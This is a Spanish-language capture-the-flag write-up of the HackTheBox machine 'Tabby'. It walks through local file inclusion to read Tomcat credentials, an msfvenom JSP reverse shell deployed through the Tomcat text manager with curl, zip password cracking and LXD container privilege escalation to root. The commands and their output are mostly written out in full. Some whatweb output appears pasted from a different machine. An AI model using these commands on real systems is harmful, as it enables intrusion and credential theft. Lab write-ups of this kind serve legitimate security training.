Inicio HTB - Tabby
Entrada
Cancelar

HTB - Tabby

¡Hola! Vamos a resolver de la máquina Tabby de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • Local File Inclusion (LFI)
  • Abusing Tomcat Virtual Host Manager
  • Abusing Tomcat Text-Based Manager - Deploy Malicious War (Curl Method)
  • LXC Exploitation (Privilege Escalation)

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Tabby. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.194
PING 10.10.10.194 (10.10.10.194) 56(84) bytes of data.
64 bytes from 10.10.10.194: icmp_seq=1 ttl=63 time=42.3 ms

--- 10.10.10.194 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
80/tcp   open  http       syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sCV -p21,22,80,8080 10.10.10.194 -oN targeted

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
4
❯ whatweb http://10.10.10.194
http://10.10.10.194 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.22.41], JQuery[1.12.4], MetaGenerator[WordPress 4.8], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[BlockyCraft &8211; Under Construction!], UncommonHeaders[link], WordPress[4.8]
❯ whatweb http://10.10.10.194:8080
http://10.10.10.194:8080 [200 OK] Apache-Tomcat, Country[RESERVED][ZZ], IP[10.129.241.231], Title[Apache Tomcat]

Agregamos megahosting.htb a nuestro /etc/hosts

Procedemos a explorar la web y observamos en la url de la sección NEWS carga un archivo filename pasado como input al parámetro file de la página news.php. Comprobamos que es vulnerable a un Local File Inclusion (LFI) tratando de cargar el archivo /etc/passwd

Mediante el archivo /etc/passwd descubrimos a un usuario ash

Accedemos a Tomcat por el puerto 8080

Accedemos a la sección de manager y probando con passwords por default o admin/admin no conseguimos acceder, sin embargo al clickar cancelar nos indica una posible ruta al archivo de configuración conf/tomcat-users.xml

Si tratamos de acceder a esta ruta por LFI no vemos nada. Podemos buscar en Google la ruta donde Apache guarda este archivo en Ubuntu o crearnos un contenedor en Docker con la misma versión de Apache para localizar donde reside el archivo. Con cualquiera de las dos formas encontramos que el archivo reside en /usr/share/tomcat9/etc/tomcat-users.xml. Accedemos a esta ruta y observamos el código fuente donde vemos unas credenciales

A pesar de tener credenciales válidas no podemos acceder porque no tenemos el rol manager-gui asignado

Seguimos aplicando fuzzing a la ruta http://10.10.10.194:8080/manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/common.txt http://10.129.241.231:8080/manager/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.194:8080/manager/FUZZ
Total requests: 4713

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                   
=====================================================================

000002165:   302        0 L      0 W        0 Ch        "images"                                                                                                                  
000002115:   401        63 L     291 W      2499 Ch     "html"                                                                                                                    
000003958:   401        63 L     291 W      2499 Ch     "status"                                                                                                                  
000004124:   401        63 L     291 W      2499 Ch     "text"                                                                                                            

Buscamos en Google la ruta /manager/text y encontramos que se pueden ejecutar comandos a través de esta interface

Como el usuario tomcat tiene rol de manager-script deberíamos tener permiso para interactuar con /manager/text. Probamos a listar hosts disponibles en Tomcat

1
2
3
4
5
6
7
 curl -s -u 'tomcat:$3cureP4s5w0rd123!' -X GET "http://10.10.10.194:8080/manager/text/list"
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:0:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs

Vamos a crear un archivo war malicioso el cual nos entabla una reverse shell con nuestro equipo y así conseguir acceso

1
2
3
4
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.33 LPORT=443 -f war -o shell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes
Saved as: shell.war

Tenemos que subir el archivo pero a través del portal de Tomcat no podemos. Una búsqueda en Google y encontramos la manera de subirlo mediante la herramienta curl

1
2
❯ curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/reverse" --upload-file shell.war
OK - Deployed application at context path [/reverse]

Sólo nos queda entablar un listener con netcat en el puerto 443 y acceder a la ruta http://10.10.10.194:8080/reverse

1
2
3
4
5
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.10.194] 34052
whoami
tomcat

Movimiento Lateral


Enumerando directorios encontramos en /var/www/html/files un archivo 16162020_backup-zip. Vemos que pertenece al usuario ash, tratamos de descomprimirlo y nos sale el prompt pidiendo una password que no tenemos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tomcat@tabby:/var/www/html/files$ ls -la
total 36
drwxr-xr-x 4 ash  ash  4096 Aug 19  2021 .
drwxr-xr-x 4 root root 4096 Aug 19  2021 ..
-rw-r--r-- 1 ash  ash  8716 Jun 16  2020 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Aug 19  2021 archive
drwxr-xr-x 2 root root 4096 Aug 19  2021 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16  2020 statement
tomcat@tabby:/var/www/html/files$ unzip 16162020_backup.zip 
Archive:  16162020_backup.zip
checkdir error:  cannot create var
                 Read-only file system
                 unable to process var/www/html/assets/.
[16162020_backup.zip] var/www/html/favicon.ico password:

Para descargarnos el archivo zip a nuestro equipo vamos a codificarlo en base64 y descodificar en nuestro equipo

1
2
3
4
#VICTIMA
tomcat@tabby:/var/www/html/files$ base64 -w0 16162020_backup.zip
UEsDBAoAAAAAAIUDf0gAAAAAAAAAAAAAAAAUABwAdmFyL3d3dy9odG1sL2Fzc2V0cy9VVAkAAxpv/FYkaMZedXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIALV9LUjibSsoUgEAAP4CAAAYABwAdmFyL3d3dy9odG1sL2Zhdmljb24uaWNvVVQJAAMmcZZWQpvoXnV4CwABBAAAAAAEAAAAAN2Ez/9MJuhVkZcI40s6Mq3E1cGg8qJLHlm+k/NkGyVP3k2oTMAGRUJu1NrENypKTVUkFVj+2gK6gWjkuB5sbr7HYjzQZLYfWrBuHZlwyQVZQSCuFKLE+CHKAXhniPchcs6SpngYkPwutfDdDUASgsbwv4xEFP7Y61ZP/sPWrEM865/YFL6PMZO0Ztsx/uDaQgSDM526lAb4UyZyWFS4Q2Js3bZxIbkMl8grMRTqsm05D6l1UAWG3BcxE0iFVgonMapSLgwEXDjQzajCT1n6csLlAmJdLAKMf6MYy5TQygOKxdt419349ur8AWda3b8Y/LE7Zk2lJW0UzlzVSwUmqcTjO9O76. . . . .

1
2
#ATACANTE
> echo "UEsDBAoAAAAAAIUDf0gAAAAAAAAAAAAAAAA. . . . ." | base64 -d -w0 > backup.zip

Con la utilidad fcrackzip y el diccionario rockyou.txt conseguimos la contraseña del comprimido

1
2
3
4
5
6
7
8
9
10
11
12
❯ fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
'var/www/html/assets/' is not encrypted, skipping
found file 'var/www/html/favicon.ico', (size cp/uc    338/   766, flags 9, chk 7db5)
'var/www/html/files/' is not encrypted, skipping
found file 'var/www/html/index.php', (size cp/uc   3255/ 14793, flags 9, chk 5935)
found file 'var/www/html/logo.png', (size cp/uc   2906/  2894, flags 9, chk 5d46)
found file 'var/www/html/news.php', (size cp/uc    114/   123, flags 9, chk 5a7a)
found file 'var/www/html/Readme.txt', (size cp/uc    805/  1574, flags 9, chk 6a8b)
checking pw arizon1                                 

PASSWORD FOUND!!!!: pw == admin@it

Ya que el propietario del archivo es ash vamos a comprobar si hay reutilización de contraseñas por parte de este usuario

1
2
3
tomcat@tabby:/var/www/html/files$ su ash
Password: 
ash@tabby:/var/www/html/files$ 

Hemos conseguido acceso con el usuario ash. La flag se encuentra en su directorio personal

1
2
ash@tabby:/var/www/html/files$ cat /home/ash/user.txt 
e48725d8ad48e9369***************

Escalada De Privilegios


Enumerando grupos a los que pertenece ash vemos que pertenece al grupo lxd

1
2
ash@tabby:/var/www/html/files$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

Lxd es una herramienta de gestión de los contenedores del sistema operativo Linux. Buscamos por vulnerabilidades con la herramienta searchsploit y localizamos un script en bash hecha por el gran S4vitar y Vowkin que nos automatiza la escalada de privilegios

1
2
3
4
5
6
❯ searchsploit lxd
-------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                          |  Path
-------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Ubuntu 18.04 - 'lxd' Privilege Escalation                                                                                                               | linux/local/46978.sh
-------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Nos traemos el script a nuestro directorio de trabajo exploits y examinamos su contenido. Nos tenemos que descargar una imagen de build-alpine y hacer build como usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯  wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2022-11-22 21:15:22--  https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.110.133, 185.199.109.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.111.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 8060 (7,9K) [text/plain]
Grabando a: «build-alpine»

build-alpine                                   100%[==================================================================================================>]   7,87K  --.-KB/s    en 0s      

2022-11-22 21:15:22 (122 MB/s) - «build-alpine» guardado [8060/8060]

❯ bash build-alpine
Determining the latest release... v3.17
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.17/main/x86_64
Downloading alpine-keys-2.4-r1.apk
.
.
.
(25/25) Installing alpine-base (3.17.0-r0)
Executing busybox-1.35.0-r29.trigger
OK: 10 MiB in 25 packages

Levantamos un servidor Http con python y subimos los archivos generados a la máquina víctima

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ash@tabby:/dev/shm$ wget http://10.10.14.33/alpine-v3.17-x86_64-20221122_2115.tar.gz
--2022-11-22 20:18:21--  http://10.10.14.33/alpine-v3.17-x86_64-20221122_2115.tar.gz
Connecting to 10.10.14.33:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3685862 (3.5M) [application/gzip]
Saving to: ‘alpine-v3.17-x86_64-20221122_2115.tar.gz’

alpine-v3.17-x86_64 100%[===================>]   3.51M  5.10MB/s    in 0.7s    

2022-11-22 20:18:22 (5.10 MB/s) - ‘alpine-v3.17-x86_64-20221122_2115.tar.gz’ saved [3685862/3685862]
ash@tabby:/dev/shm$ wget http://10.10.14.33/lxd_exploit.sh
--2022-11-22 20:18:52--  http://10.10.14.33/lxd_exploit.sh
Connecting to 10.10.14.33:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1451 (1.4K) [text/x-sh]
Saving to: ‘lxd_exploit.sh’

lxd_exploit.sh      100%[===================>]   1.42K  --.-KB/s    in 0.001s  

2022-11-22 20:18:52 (1.05 MB/s) - ‘lxd_exploit.sh’ saved [1451/1451]

Damos permisos de ejecución al script y lo ejecutamos pasándole como parámetro la imagen compilada

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ash@tabby:/dev/shm$ ./lxd_exploit.sh -f alpine-v3.17-x86_64-20221122_2115.tar.gz 
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

[*] Listing images...

+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 1bf0c73a462d | no     | alpine v3.17 (20221122_21:15) | x86_64       | CONTAINER | 3.52MB | Nov 22, 2022 at 8:22pm (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
Creating privesc
Device giveMeRoot added to privesc         
~ # whoami
root

Ganamos acceso como root pero estamos dentro de un contenedor. Dentro de la /mnt/root tenemos montado el directorio de root. Dentro de la ruta /mnt/root/root localizamos la flag de root

1
2
3
4
/mnt/root/root # ls
root.txt  snap
/mnt/root/root # cat root.txt 
7e521c04a16019e08***************

Si queremos ganar acceso total podemos navegar a la ruta /mnt/root/root/.ssh/id_rsa y conseguir la clave id_rsa de root.

Hemos completado la máquina Tabby de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.